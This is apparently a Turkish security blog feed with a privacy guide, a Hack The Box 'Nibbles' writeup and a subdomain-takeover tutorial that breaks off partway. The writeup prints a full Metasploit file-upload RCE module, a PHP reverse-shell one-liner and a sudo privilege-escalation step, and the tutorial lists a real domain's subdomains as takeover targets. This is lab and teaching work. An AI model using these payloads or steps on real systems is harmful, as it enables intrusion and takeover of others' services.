Son zamanlarda kulağımıza çok gelir oldu bu kelime “gizlilik”. Facebook’un Cambridge Analytica vakası, Twitter’ın iç ağdaki log sistemindenden kaynaklanan bir açıklıktan dolayı kullanıcı parolalarının açık şekilde iletildiğini duyurması, seçmen bilgilerinin yayılması, sürecini yakınen takip ettiğimiz, gizliliğimizi ve özgürlüğümüzü kısıtlayan VPN, site engellemeleri ve daha nicesi. Tüm bu olaylara bakıldığında gizliliğin hayatımızda ne noktada olduğunu daha net görebiliyoruz. Bu yazımızda internette nasıl anonimlik sağlayacağınızdan bahsederken örnek olaylarla da istihbarat servislerinin ve 0-day araştırmacılarının nasıl bu gizliliği hiçe saydıklarını göreceğiz. Her şey kamerayı kapatmaktan ibaret değil…

 

1) WebRTC IP Leak

WebRTC (Web Real-Time Communication), adından da anlaşılabileceği üzere eş zamanlı dosya aktarımı, konferans, canlı akış ve web uygulamaları için tarayıcıların doğrudan birbiri ile haberleşebilmesini adına geliştirilmiş bir teknolojidir. Günümüz tarayıcılarında gömülü olarak gelmektedir ve direkt olarak çalıştırılabilmektedir. Her tarayıcıda gömülü gelen ve tetiklenmesi için herhangi ek bir aktiviteye gerek duymayan bir teknoloji için zafiyet de kaçınılmazdır. Peki nedir gizliliğimizi tehlikeye atan?

WebRTC, IP tanımlamasında standarttan farklı teknikler kullanır. Bu teknik Interactive Connectivity Establishment (ICE)’dir. ICE IP adresi tespitinde STUN/TURN sunucularını kullanılır. WebRTC açısından bakıldığında bu sunucular “IP adresim nedir?” sorusuna yanıt verir. Zafiyeti detaylı anlamak için bu kavramları da incelemek gerek.

Session Traversal Utilities for NAT (STUN)

WebRTC eşler aracılığıyla data alışverişi yaptığı için bu alışverin sağlanmasında STUN sunucuları kullanılır. Bağlantı sağlarken gönderilen bilgiler arasında LAN ve WAN bilgilerimiz de mevcut. Protokolün işleyişindeki mantıkda zafiyet ortataya çıkıyor. Buradaki IP bilgilerimiz gizlenmediği yani sunucu ve eş arasında düz metin halinde veri akışı sağlandığı için bilgilerimiz sızıyor.

Traversal Using Relays around NAT (TURN)

STUN protokolünden farkı eşler arasındaki veri akışında köprü görevi görmesidir. Diğer eşe bilgi giderken TURN sunucularından çıkış yapıldığı için kendi WAN ve LAN IP bilgilerimiz iletilmiş olur. Aşağıdaki şemada çalışma mantığı görülmektedir.

Zafiyetimiz WEB sitelerinin STUN sunucularına yapılan istekteki IP bilgilerinin kaydedilmesinden ibaret. VPN kullansanız dahi VPN protokolleri STUN sunucularına giden bilgilerin kontrolünü yapmadığı için VPN sunucularının atadığı IP gözükmeyecektir. Bu durumda triple VPN, proxy ya da diğer yöntemleri kullansanız dahi iç ağ IP adresiniz sızmış olacaktır. Zafiyet sırasında gerçekleşen isteğin kod bloğundan bir kesit;

function findIP(onNewIP) {
  var myPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
  var pc = new myPeerConnection({iceServers: [{urls: "stun:stun.l.google.com:19302"}]}),
    noop = function() {},
    localIPs = {},
    ipRegex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g,
key;

https://berkimran.com.tr/ipleak/ipleak.html adresinden kendi tarayıcınızda testi gerçekleştirebilirsiniz.

Zafiyetli bir tarayıcıda iç ağ IP adresi resimdeki gibi ifşa olacaktır. Belirtmekte fayda var bu testi yaparken VPN kullandım. Testi yaptınız ve iç ağ IP adresiniz ifşa oldu, bu durumda tarayıcınıza bağlı olarak çeşitli korunma yöntemleri bulunmakta.

Firefox

  1. Adres satırına about:config yazıp ayarlara girin.
  2. İlk defa giriyorsanız riski kabul ediyorum butonuna tıklamalısınız.
  3. media.peerconnection.enabled değerini aratın.
  4. Çift tıklayarak değerini ‘false’ yapın.

Chrome

Günümüz itibarıyla sadece eklentiler ile engellemek mümkün. Bunun için WebRTC Network Limiter eklentisini kullanabilirsiniz.

Safari

Herhangi bir ayar yapmanıza gerek kalmadan Safari zafiyeti önlemektedir.

2) DNS Leak

Anonim olmak için mümkün olduğunca verilerinizi paylaşmamanız gerek. Dolayısıyla tüm trafiğinizin anonim şekilde sağlanması çok önemli. Güvenli iletişiminize birisizi sızarsa tüm bilgileriniz tehlikededir demektir. Söz konusu DNS olunca da bir zayıflık söz konusu oluyor tabii ki. İşletim sisteminiz ya da modeminizden dolayı size atanan bir DNS sunucundan dolayı tüm trafiğiniz ifşa olabilir. Bir anonim ağda bulunsanız dahi çeşitli durumlarda varsayılan DNS sunucusu ile bağlantı kurabilirsiniz. Bunu dnsleaktest.com sitesinde çok güzel açıklamışlar.

Görüldüğü üzere direk ISP servisinin DNS sunucu ile haberleşildiğinde zafiyet ortaya çıkabilmektedir. Günümüz servis sağlayıcılarının ve onun atadığı DNS sunucularının bizi izlediğini varsayarsak bir anonim bağlantının ne kadar güvenli olduğunu daha iyi kavrayabiliriz. Örnek bir test ve zayıflığın kanıtı;

Çözüm çok basit. VPN servisi ile anonim bir ağ kullanmak ve VPN servisinin DNS sunucularını kullanmak. Ayrıca bkz. Dnscrypt

3) VPN(Virtual Private Network)

Yasaklamalardan ve sansürlerden dolayı Türkiye’nin teknoloji gündemini oldukça meşgul eden bir konu. Konu ile alakalı çok güzel yazılar yazıldı, teknik olarak açıklandı. Ancak ben farklı bir soruya cevap bulmak istiyorum “peki hangi VPN?”. Açıkcası 2012’den bu yana bir fiil her türlü VPN firmasını test ettim, kullandım. 6 yılda neredeyse her firmanın gizlilik politikasını, double & triple VPN mantığını ve işin detaylarına hakim oldum. Şöyle tecrübeleri aktarmak isterim;

  • Aşinası olduğumuz bir “kayıt tutmuyoruz” klasiği

Türkiye’nin de yakından bildiği bir VPN firması, politikasında kendinden kayıt(log) tutmuyoruz diye bahsettiği halde bir hacklenme vakası ile sarsıldı. Zamanının 1day exploit kiti ile VPN firmasının sunucularına girmeyi başaran hacker, tutulan tüm logları tek tek gözler önüne serdi. Bundan dolayı da insanlarda “log tutmadıklarını nereden bilebiliriz” şeklinde sorular oluştu. Cevabı aslında hepimiz biliyoruz.

  • FBI, CIA, NSA gibi istihbarat çalışması yapanlara bilgi vermiyoruz

Uzun uzun yazıp açıklamak istemiyorum. Sadece şunu düşünmeniz yeterli. Ortalama aylık 100 dolar verdiğiniz bir firma sizi tüm istihbarat servislerine karşı koruyor 🙂

Peki hangi VPN firması seçilmeli?

Tecrübelerime dayanarak aşağıdaki maddelere dikkat çekmek isterim;

  • Ödeme yöntemi olarak elektronik para kabul etmesi(btc, eth. vs.),
  • Dns isteklerini, trafiği, timestamps, IP adres, ödeme yöntemi gibi kayıtları tutmaması,
  • Trafiğin hangi algoritma ile şifrelendiği,
  • Bağlı olduğu ülkenin yasaları,
  • Hizmet verdiği sunucu lokasyonları, varsa bandwidth sınırlaması,
  • E-mail ve parola ile değil kendi atadığı sistemle giriş yapılması(dolayısıyla veri tutulmayacak).

Özetle bir VPN firmasının gizlilik politikasında belirttiği yazıdan bir kesit;

…kullanıcılarımızla ilgili bilgileri ifşa etmemiz istendiğinde, elimizde verebileceğimiz hiçbir bilginin bulunmadığı anlamına geliyor. Ancak, kredi kartı ödemeleri ve banka havaleleri kayıt altına alınmaktadır. Bu kayıtlar, bankalar veya kart firmaları tarafından tutulmakta ve tarafımızca silinmesi imkanı bulunmamaktadır. Anonim olarak işlem yapabilmek için nakit veya kripto para birimi ile ödeme yapma seçeneklerini kullanın.

kıyaslama için https://thatoneprivacysite.net/ adresini kullanabilirsiniz. Ek olarak;

https://torrentfreak.com/vpn-services-keep-anonymous-2018/
https://medium.com/@blackVPN/no-logs-6d65d95a3016
https://spideroak.com/articles/guest-post-can-you-trust-a-vpn-to-protect-your-privacy/

 

5 göz 9 Göz 14 göz

Şimdi tüm söylediklerimi unutun. Yukarıdaki en güvenli dediğimiz VPN firmaları bile neden güvensiz inceleyelim.
Ülkeler arasında istihbarat toplamak amaçlı bir ittifak vardır. Ülkelerin topluca vatandaşlarını izleme ve gözetlemesi üzerine kuruludur. Sızan verilerde Türkiye’nin de bunun için “milyon” dolar civarında bir yazılıma ödeme yaptığı görülmektedir. Detayını bilemediğimiz gibi kesinliği hakkında da bilgi sahibi değiliz. Gelelim göz(etleme)lere.
5 Göz;

  1. Avustralya
  2. Kanada
  3. Yeni Zelanda
  4. İngiltere
  5. Amerika

bkz. https://en.wikipedia.org/wiki/UKUSA_Agreement

Dokuz Göz(öncekileri de içerir);

  1. Danimarka
  2. Fransa
  3. Hollanda
  4. Norveç

Ondört Göz(öncekileri de içerir);

  1. Almanya
  2. Belçika
  3. İtalya
  4. İsveç
  5. İspanya

Şimdi sizden ricam o çok övdüğünüz VPN firmalarının hangi lokasyonda olduğuna bakmanız 🙂

Warrant Canary

Ekşi Sözlük’te ssg gayet net açıklamış şu şekilde alıntılayalım.

ing. mahkeme emri kanaryası. “kanarya” tabiri madenlerde gaz kaçağını tespit etmek için kanaryaların kullanımından geliyor. kanarya bıcır bıcır öttüğü sürece sürece gaz kaçağı olmadığını anlıyorsun. ne zaman kanarya susarsa gaz kaçağı olduğunu anlıyorsun. bu taktik, yani gaz kaçağı olduğunu değil ama olmadığını anlamak, amerikan şirketleri tarafından beyan etmenin suç olduğu hukuksal gizlilik durumlarını aşmak için kullanılıyor.
bir firmanın amerikan mahkemesi tarafından gizli emir almasını beyan etmesi hukuken yasak, ama almadığını beyan etmesi değil. dolayısıyla firma ta ki alana kadar:

“bugüne kadar mahkemeden gizli bir emir almadık”

beyanı yazıyor. ne zaman o yazı kaybolursa anlıyorsun ki gizli emir almışlar. bildiğim kadarıyla bu tekniğin gerçekten mahkemede uygulayanı akladığı test edilmedi ama büyük mecra ve servis sağlayıcılar tarafından yaygın olarak kullanılıyor.

VPN kullanmak sizi tamamen anonim yapmaz. Ancak eskisine göre daha iyi bir çözüm sunar.

 

4)TOR(The Onion Routing)

Üzerine onlarca yazı yazıldı, onlarca eğitim videosu çekildi. O yüzden yine bilinen kısımdan ziyade biraz yorumsal kısmına değinmek istiyorum. TOR projesi gizlilik için en büyük çalışmalardan birisi. Günümüzde hakkında onlarca fikir var. Çoğunluk projenin istihbarat servisleri tarafından fonlandığını ve suçluları bulmak için ellerinde 0day exploitler bulundurduğunu düşünmekte. Bug bounty kapsamında gönderilen örnek bir raporu incelemekte fayda var “https://hackerone.com/reports/253429“. Çoğu kişinin bundan daha kritik zafiyetleri bulduğuna eminiz. Aşağıdaki haberleri okuyalım.

https://thehackernews.com/2017/11/tor-browser-real-ip.html
https://thehackernews.com/2017/09/tor-zero-day-exploits.html

Özetle çok büyük bir illegal aktivite için değilseniz, sadece gizliliğini düşünüyorsanız gayet yerinde bir tercih. Ancak %100 gizlilik sağlamadığını da umarım anlatabilmişimdir. Özellikle VPN ve TOR bağlantısı yapsanız bile hatta VPN > VPN > VPN > TOR > Web Proxy şeklinde bir şema izleseniz dahi bahsettiğimiz gibi WebRTC ile IP adresiniz ifşa olabilir.

5) HTTP Başlık Bilgileri

Siteleri görüntülemek için her istek yaptığımızda bir HTTP trafiği de oluşturmuş oluruz. Bu trafiğin içinde bilgilerimiz de gitmekte. Dolayısıyla bu trafikte giden bilgilerimizi mümkün olduğunca değiştirmeli ya da korumalıyız.

DNT (Do Not Track)

Beni izleme özelliği tarayıcılarımızda yıllardır mevcut. Siteye yaptığınız her isteğe “DNT: 1” değerini işler. Dolayısıyla siteye “beni izleme” mesajı vermiş oluruz. Ancak, bu sitenin %100 sizi izlemeyeceğine işaret değildir. Verilerinizin izlenip izlenmeyeceğini bu hususta yine site belirleyecektir. Aşağıda örnek bir istek gösterilmiştir.

User Agent

User-Agent bilgisinde hangi tarayıcıyı kullandığımız hangi işletim sistemine sahip olduğumuz gibi bilgiler gitmektedir. Dolayısıyla gerçekten farklı olarak bu bilgileri değiştirmemiz gizlilik açısından bir artı olacaktır. Reklam içeren link kısaltma sitelerine girdiğinizde genellikle işletim sisteminize göre zararlı yazılım gösterirler. GNU/Linux kullanan bir kullanıcı Windows işletim sistemine ait bir user-agent bilgisi kullanıyorsa karşısına Windows için üretilmiş bir zararlı yazılım çıkacaktır. Bundan dolayı hem gizliliğini sağlamış hem de güvenli kalmış olacaktır.

Resimde de görüldüğü gibi user-agent başlığından Mac bilgisini alan site ona göre zararlı göstermiş oldu. Bundan dolayıdır ki user-agent bilgimizi olduğundan farklı göstermek gerekli.

Cookie

Web sunucusu gelen kullanıcıları ayırt etmek için her kullanıcıya bir session tanımlar. Sunucunun tuttuğu Session id’yi şifreliyerek (değişiklik gösterebilir) Cookie bölümüne ekler. Özetle cookie sizin web sitesindeki parmak izinizdir. XSS zafiyeti ile kendisini yakından tanımaktayız. Oturum bilgilerinizin XSS ya da diğer zafiyetlerle elde edilmesi hem gizliliğiniz hem de güvenliğiniz açısından son derece kritiktir. Bu yazımızda çerezlerin güvenliği ve gizliliği hakkında iki hususta durmak istiyorum. Bunlardan ilki tarayıcıda saklanan cookie güvenliği diğeri ise web zafiyetleri ile alakalı.

  • Stealer

2011’den bu yana (tabii ki öncesinde de dahil olmak üzere) popülerleşmiş yerini fidye yazılımlarına bırakan bir backdoor türüdür. Stealer’ın amacı tarayıcıdaki çerezlerinizi alıp mail adresine, FTP adresine ya da sizin belirleyeceğiniz bir yöntemle size iletmektir. Başlangıca yerleşmez, kendini kopyalamaz, sadece tarayıcılardaki çerezleri okur ve ilgili adreslere iletir. Dolayısıyla diske erişim izni isteyecek ve dışarıya bağlantı oluşturacaktır. Diğer zararlı yazılımlara istinaden daha az izin istemektedir. Dolayısıyla korunmak adına diskte(tarayıcıda) çerez tutulmamalıdır. Bunun için tarayıcılarda seçenek bulunmakta, eklentilerle de bu olay güçlendirilmektedir. Daha öncesinden kalan çerezleriniz varsa Gutmann metoduyla silmeniz gerekmektedir.

  • Web Zafiyetleri

Web zafiyetleri ve cookie dendiği zaman akla gelen ilk zafiyet XSS’dir şüphesiz. XSS zafiyetinin işlevselliğine ve türevine bağlı olarak çerez bilginiz elde edilebilir. Buna önlem olarak çoğu tarayıcı özellikle Reflected(yansıtılan) XSS için iyileştirmeler yapmıştır. Ancak günümüzde bunlar hala yeterli değildir ve kolay atlatılabilmektedir. Bu durumda kullanıcılara ve geliştiricilere düşen sorumluluklar var. Geliştiriciler açısından bakıldığında, çerezlerin HttpOnly olarak işaretlenmesi ve SecureFlag kullanılması gereklidir. Bu şekilde örnek bir JavaScript XSS payload’ı ile tarayıcıdaki çereze erişilemeyecektir. Kullanıcı tarafından bakıldığında NoScript tarzı eklentiler ile her JavaScript dosyasının çalıştırılması engellenmelidir. Böylelikle Coinhive tarzı zararlı kod blokları ile siz video izlerken, sizin işlemciniz kullanılarak yapılan madenciliği engellemiş de olmaktasınız.

 

 

Referanslar:

https://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment
https://tools.ietf.org/html/rfc5766
https://github.com/VoidSec/WebRTC-Leak
https://www.privacytools.io/
https://dnsleaktest.com

 

TR | Gizlilik Rehberi – 1 Berk İMRAN

]]>
https://canyoupwn.me/tr-gizlilik-rehberi-1/feed/ 0
TR | Hack The Box :: Nibbles Writeup https://canyoupwn.me/tr-hack-the-box-nibbles-writeup/ Mon, 28 May 2018 10:23:42 +0000 https://canyoupwn.me/?p=7512 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar, Hackthebox serimize Nibbles makinası ile başlıyoruz. Makinanın seviyesine ben de “Easy” diyorum. Gelelim çözüme… Makinamızda 80 ve 22 portları açık. 80 portundan erişim sağladığımızda açıklama satırında /nibbleblog adresini görüyoruz. root@kali:~# curl 10.10.10.75 <b>Hello world!</b> <!-- /nibbleblog/ directory. Nothing interesting here! --> /nibbleblog adresinden erişim sağladığımızda “Powered by Nibbleblog” footer’ından hazır bir blog script’i olduğunu […]

TR | Hack The Box :: Nibbles Writeup Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar,

Hackthebox serimize Nibbles makinası ile başlıyoruz. Makinanın seviyesine ben de “Easy” diyorum. Gelelim çözüme…

Makinamızda 80 ve 22 portları açık. 80 portundan erişim sağladığımızda açıklama satırında /nibbleblog adresini görüyoruz.

root@kali:~# curl 10.10.10.75
<b>Hello world!</b>



<!-- /nibbleblog/ directory. Nothing interesting here! -->

/nibbleblog adresinden erişim sağladığımızda “Powered by Nibbleblog” footer’ından hazır bir blog script’i olduğunu anlıyoruz. Dolayısıyla öncelikli olarak zafiyet bulunmuş mu bakalım…

4.0.3 versiyonu için Metasploit modülü yazılmış. Bu modül ile de php dosyası yüklemenize dolayısıyla kod çalıştırmanıza olanak sağlayan bir exploit var.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'Nibbleblog File Upload Vulnerability',
      'Description'     => %q{
          Nibbleblog contains a flaw that allows an authenticated remote
          attacker to execute arbitrary PHP code. This module was
          tested on version 4.0.3.
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
        ],
      'References'      =>
        [
          ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']
        ],
      'DisclosureDate'  => 'Sep 01 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['Nibbleblog 4.0.3', {}]],
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI',  [true, 'The base path to the web application', '/']),
        OptString.new('USERNAME',   [true, 'The username to authenticate with']),
        OptString.new('PASSWORD',   [true, 'The password to authenticate with'])
      ])
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def check
    cookie = do_login(username, password)
    return Exploit::CheckCode::Detected unless cookie

    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri.path, 'admin.php'),
      'cookie'      => cookie,
      'vars_get'    => {
        'controller'  => 'settings',
        'action'      => 'general'
      }
    )

    if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end

  def do_login(user, pass)
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri.path, 'admin.php')
    )

    fail_with(Failure::Unreachable, 'No response received from the target.') unless res

    session_cookie = res.get_cookies
    vprint_status("Logging in...")
    res = send_request_cgi(
      'method'      => 'POST',
      'uri'         => normalize_uri(target_uri.path, 'admin.php'),
      'cookie'      => session_cookie,
      'vars_post'   => {
        'username'  => user,
        'password'  => pass
      }
    )

    return session_cookie if res && res.code == 302 && res.headers['Location']
    nil
  end

  def exploit
    unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)
      print_error("Target does not appear to be vulnerable.")
      return
    end

    vprint_status("Authenticating using #{username}:#{password}")

    cookie = do_login(username, password)
    fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
    vprint_good("Authenticated with Nibbleblog.")

    vprint_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"

    data = Rex::MIME::Message.new
    data.add_part('my_image', nil, nil, 'form-data; name="plugin"')
    data.add_part('My image', nil, nil, 'form-data; name="title"')
    data.add_part('4', nil, nil, 'form-data; name="position"')
    data.add_part('', nil, nil, 'form-data; name="caption"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"")
    data.add_part('1', nil, nil, 'form-data; name="image_resize"')
    data.add_part('230', nil, nil, 'form-data; name="image_width"')
    data.add_part('200', nil, nil, 'form-data; name="image_height"')
    data.add_part('auto', nil, nil, 'form-data; name="image_option"')
    post_data = data.to_s

    vprint_status("Uploading payload...")
    res = send_request_cgi(
      'method'        => 'POST',
      'uri'           => normalize_uri(target_uri, 'admin.php'),
      'vars_get'      => {
        'controller'  => 'plugins',
        'action'      => 'config',
        'plugin'      => 'my_image'
      },
      'ctype'         => "multipart/form-data; boundary=#{data.bound}",
      'data'          => post_data,
      'cookie'        => cookie
    )

    if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
      fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
    elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
      fail_with(Failure::Unknown, 'Unable to upload payload.')
    end

    vprint_good("Uploaded the payload.")

    php_fname = 'image.php'
    payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)
    vprint_status("Parsed response.")

    register_files_for_cleanup(php_fname)
    vprint_status("Executing the payload at #{payload_url}.")
    send_request_cgi(
      'uri'     => payload_url,
      'method'  => 'GET'
    )
  end
end

Kodu incelediğimizde admin parolası ile giriş yapıp eklentideki file upload zafiyetinden faydalanarak image.php adında bir PHP dosyası göndererek kod çalıştırmakta. Tabii bunu yaparken parolayı bilmek gerek. Dolayısıyla script yazmaya dahi gerek kalmadan “admin:admin,admin:root,admin:nibbler,admin:nibbles” denemeleri sonucunda parolayı buluyorum.Exploit ettikten sonra yetkimizi alıyoruz.

LinEnum script’i ile zayıflıkları ararken, /home/nibbler/personal/stuff/monitor.sh dosyasından parolasız root haklarında komut çalıştırabileceğimi farkediyorum.

İlgili bash script’i inceleyelim.

                  ####################################################################################################
                  #                                        Tecmint_monitor.sh                                        #
                  # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/      #
                  # If any bug, report us in the link below                                                          #
                  # Free to use/edit/distribute the code below by                                                    #
                  # giving proper credit to Tecmint.com and Author                                                   #
                  #                                                                                                  #
                  ####################################################################################################
#! /bin/bash
# unset any variable which system may be using

# clear the screen
clear

unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

while getopts iv name
do
        case $name in
          i)iopt=1;;
          v)vopt=1;;
          *)echo "Invalid arg";;
        esac
done

if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c ssh nibbler@localhost -i /home/nibbler/.ssh/test root && "cp $scriptname /usr/bin/monitor"
}
fi

if [[ ! -z $vopt ]]
then
{
echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License"
}
fi

if [[ $# -eq 0 ]]
then
{


# Define Variable tecreset
tecreset=$(tput sgr0)

# Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"

# Check OS Type
os=$(uname -o)
echo -e '\E[32m'"Operating System Type :" $tecreset $os

# Check OS Release Version and Name
cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease
echo -n -e '\E[32m'"OS Name :" $tecreset  && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\"
echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\"

# Check Architecture
architecture=$(uname -m)
echo -e '\E[32m'"Architecture :" $tecreset $architecture

# Check Kernel Release
kernelrelease=$(uname -r)
echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease

# Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME

# Check Internal IP
internalip=$(hostname -I)
echo -e '\E[32m'"Internal IP :" $tecreset $internalip

# Check External IP
externalip=$(curl -s ipecho.net/plain;echo)
echo -e '\E[32m'"External IP : $tecreset "$externalip

# Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}')
echo -e '\E[32m'"Name Servers :" $tecreset $nameservers 

# Check Logged In Users
who>/tmp/who
echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who 

# Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache
echo -e '\E[32m'"Ram Usages :" $tecreset
cat /tmp/ramcache | grep -v "Swap"
echo -e '\E[32m'"Swap Usages :" $tecreset
cat /tmp/ramcache | grep -v "Mem"

# Check Disk Usages
df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage
echo -e '\E[32m'"Disk Usages :" $tecreset 
cat /tmp/diskusage

# Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')
echo -e '\E[32m'"Load Average :" $tecreset $loadaverage

# Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,)
echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime

# Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

# Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage
}
fi
shift $(($OPTIND -1))

Öncelikle script’e yazma izni verdikten sonra ./monitor.sh ile başlatamadım(bash hariç). Dolayısıyla shell değiştirmek daha mantıklıydı. Dolasıyla php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/bash -i <&3 >&3 2>&3”);’
 kodu ile /bin/bash reverse shell aldım. Script normal çalışmakta ama sudo ve su komutlarını çalıştıramamaktaydım.

Makinada Python yoktu, SSH Key ile terminal alamadım. İnteraktif shell’e geçemememden dolayı geri dönerek monitor dosyasını editleyip sudo yetkisi ile çalıştırmayı denedim.

echo “cat /root/root.txt” >> monitor.sh  komutu ile dosyama root kullanıcısının dizinindeki flag’i okutmayı denedim. Sudo ./monitor.sh  ile çalıştırdığımda flag değeri geldi.

Pwned #1

TR | Hack The Box :: Nibbles Writeup Berk İMRAN

]]>
TR | Subdomain Takeover https://canyoupwn.me/tr-subdomain-takeover/ https://canyoupwn.me/tr-subdomain-takeover/#respond Sat, 31 Mar 2018 07:00:15 +0000 https://canyoupwn.me/?p=7476 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Herkese merhaba, Daha önce yazdığım subdomain takeover konusu gerek İngilizce gerekse karmaşık olmasından dolayı çok anlaşılamamıştı. Bugün Türkçe ve detaylı olarak anlatmaya çalışacağım. Subdomain Takeover Genellikle çok fazla subdomainin olduğu büyük sitelerde denk geldiğim subdomain takeover, Amazon S3, Github, Google gibi firmalardan servis alındığında, yapılandırma hatalarının yapıldığı dolayısıyla subdomaini ele geçirmenize olanak sağlayan bir zafiyettir. […]

TR | Subdomain Takeover Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Herkese merhaba,

Daha önce yazdığım subdomain takeover konusu gerek İngilizce gerekse karmaşık olmasından dolayı çok anlaşılamamıştı. Bugün Türkçe ve detaylı olarak anlatmaya çalışacağım.

Subdomain Takeover

Genellikle çok fazla subdomainin olduğu büyük sitelerde denk geldiğim subdomain takeover, Amazon S3, Github, Google gibi firmalardan servis alındığında, yapılandırma hatalarının yapıldığı dolayısıyla subdomaini ele geçirmenize olanak sağlayan bir zafiyettir. Amazon s3 sunucularında bucket oluşturmamanız ya da Google’da Gsuite kaydı yapmamanız bunlara örnektir.

Öncelikle hedef sitemizin subdomain listesini çıkarmamız gerek. Bunun için çok fazla yöntem var. Ben Shodan, Virustotal gibi özel(ücretli ve private) api’leri kullandığım için Aquatone aracına entegre etmesi kolay olduğundan bu aracı kullanıyorum. Subdomain tespitimizi aquatone-discover –domain edim.co komutu ile yapalım. Json ve txt olarak iki çıktı vermesi çeşitli işlemlerde işimizi oldukça kolaylaştıran etkenlerden. Bulduğumuz subdomainler;

1.edim.co,52.222.171.230
a.edim.co,52.222.171.17
apps.edim.co,52.222.171.253
badge.edim.co,52.222.171.237
badges.edim.co,52.222.171.191
box.edim.co,52.222.171.100
box.u.ph.edim.co,52.222.171.85
com.ph.edim.co,52.222.171.182
croc.edim.co,52.222.171.198
e.edim.co,52.222.171.141
ed.edim.co,52.222.171.128
embed.edim.co,52.35.188.254
g.edim.co,52.222.171.152
math.edim.co,52.222.171.44
pic.edim.co,52.85.219.213
production.edim.co,34.210.242.50
s3.edim.co,52.216.16.115
t.edim.co,52.85.219.112
thumbs.edim.co,52.85.219.45
u.ph.edim.co,52.85.219.223

İsterseniz Cut -d “,” -f1 komutu ile sadece subdomainleri alabilirsiniz. Takeover tespitimizi aquatone-takeover –domain edim.co komutu ile gerçekleştirelim.

Çıktımızda potansiyel birer subdomain takeover tespit etti. Aracın eksik yönü bunu sadece Cname kaydına bakarak yapması. Aynı zamanda sitedeki dönen cevaba da bakarsa çok daha profesyonel sonuçlar elde edilebilir. İlgili adresimizin cname kaydını inceleyelim.

dig cname s3.edim.co

; <<>> DiG 9.9.7-P3 <<>> cname s3.edim.co
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8322
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;s3.edim.co.			IN	CNAME

;; ANSWER SECTION:
s3.edim.co.		299	IN	CNAME	s3.amazonaws.com.

;; Query time: 78 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Thu Jan 25 21:55:07 +03 2018
;; MSG SIZE  rcvd: 69

